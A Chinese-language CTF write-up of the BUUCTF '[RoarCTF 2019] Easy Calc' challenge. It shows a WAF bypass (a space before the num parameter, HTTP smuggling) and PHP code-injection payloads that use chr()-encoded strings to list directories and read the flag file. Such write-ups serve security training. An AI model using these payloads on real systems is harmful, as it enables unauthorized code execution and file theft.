BUUCTF:[RoarCTF 2019]Easy Calc

Seanz7發表於2020-10-19

題目地址:https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Calc

在這裡插入圖片描述
在這裡插入圖片描述
檢視原始碼

在這裡插入圖片描述

抓包發現calc.php

在這裡插入圖片描述

訪問http://node3.buuoj.cn:28908/calc.php

在這裡插入圖片描述

很明顯,程式碼執行繞過,前面原始碼也說了有WAF,這裡繞過WAF有兩種方法

  • num前新增%20繞過對num的檢測
  • HTTP走私之重複Content-Length繞過

首先看下phpinfo(),禁用了一大堆函式

在這裡插入圖片描述

使用scandir()函式+chr()函式繞過程式碼執行

/calc.php?%20num=var_dump(scandir(chr(47)))

或者使用glob()函式

/calc.php?%20num=var_dump(glob(chr(47).chr(42)))

根目錄發現f1agg

在這裡插入圖片描述
利用file_get_contents()進行讀取

/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

或者其他花式檔案讀取操作

/calc.php?%20num=show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
/calc.php?%20num=print_r(php_strip_whitespace(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
/calc.php?%20num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
/calc.php?%20num=var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
/calc.php?%20num=include(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
.......

在這裡插入圖片描述

HTTP走私之Content-Type重複繞過WAF

在這裡插入圖片描述